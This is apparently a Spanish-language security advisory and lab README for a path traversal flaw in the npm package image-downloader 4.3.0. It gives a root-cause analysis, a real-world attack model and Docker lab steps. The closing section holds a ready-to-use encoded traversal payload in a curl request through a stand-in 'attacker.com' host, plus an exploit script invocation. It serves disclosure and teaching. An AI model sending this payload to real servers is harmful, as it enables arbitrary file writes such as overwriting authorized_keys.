
Aviso y PoC para CVE-2026-103648, un path traversal (CWE-22) en image-downloader 4.3.0 que permite escritura arbitraria de archivos, con análisis de causa raíz, diff del parche y laboratorio Docker.
image-downloader
Descubierto por: Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ Solo con fines educativos. Este repositorio documenta una vulnerabilidad divulgada de forma responsable. Todo el código PoC está destinado únicamente a la investigación de seguridad autorizada y a pruebas en entornos de laboratorio aislados. No lo utilice contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito por escrito para realizar pruebas.
| Campo | Detalles |
|---|---|
| ID de CVE | CVE-2026-103648 |
| Entrada NVD | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| Puntuación CVSS v3.1 | 9.1 Crítica — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Limitación incorrecta de un nombre de ruta a un directorio restringido |
| Paquete | image-downloader (npm) por demsking |
| Descargas semanales de npm | ~11,000 (~38,000/mes) — fuente |
| Versiones afectadas | < 4.3.1 (todas las versiones incluyendo 4.3.0) |
| Versión corregida | 4.3.1 |
| Asignado por | GitLab |
| Publicado | 2026-10-02 |
| Reportado por | Amirhossein Roustaei (@EterNullSec), Eternull Security |
La vulnerabilidad se encuentra en la lógica de extracción de nombres de archivo de [email protected]. Este es el código fuente real de la versión afectada (index.js, extraído directamente del paquete npm publicado):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) sobre el pathname de la URL que aún está codificado en porcentaje. Una secuencia como %2e%2e%2fpwned.sh no contiene ningún / literal, por lo que path.basename() trata todo el conjunto como un único nombre de archivo y lo devuelve sin cambios — no se elimina nada.decodeURIComponent(). Este es el paso que convierte %2e%2e%2f de nuevo en un ../ literal — pero para entonces ya ha sobrevivido al paso de basename que se suponía que debía sanitizarlo.path.join(options.dest, decodedBasename) con una cadena que ahora contiene un segmento ../ real. path.join() normaliza .. de la misma manera que lo haría cd .. — por lo que la ruta de escritura final se resuelve a una ubicación fuera de options.dest.En resumen: el código decodifica el nombre de archivo de la manera correcta, pero en el orden incorrecto respecto a path.basename(). Decodificar y luego aplicar basename es seguro; aplicar basename y luego decodificar no lo es.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
Este laboratorio demuestra el mecanismo del error de principio a fin en un único script para facilitar la reproducción, pero merece la pena exponer explícitamente el modelo de ataque en el mundo real:
download.image({ url, dest }) de image-downloader con un valor url que no controlaba completamente por sí misma — por ejemplo, una URL enviada por un usuario (funciones de importación de avatar/imagen), extraída de la carga útil de un webhook, o leída de un feed RSS/contenido.url de la víctima, y controla el componente de ruta de esa URL — lo cual es suficiente por sí solo, ya que el path traversal reside en la ruta de la URL (%2e%2e%2f...), no en el cuerpo de la respuesta.authorized_keys, o un ejecutable que la aplicación ejecuta posteriormente).En exploit/exploit.py, los roles de atacante y víctima se combinan en un único script por comodidad del laboratorio (levanta tanto la petición del servidor "víctima" como el servidor de carga útil controlado por el atacante). En un escenario de explotación real, estas son dos partes separadas y no relacionadas — el PoC está estructurado de esta manera únicamente para que la vulnerabilidad sea reproducible con un solo comando.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
El servidor vulnerable estará disponible en http://localhost:3000.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
O manualmente con curl (el path traversal está en la ruta de la URL, no en el cuerpo de la respuesta):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt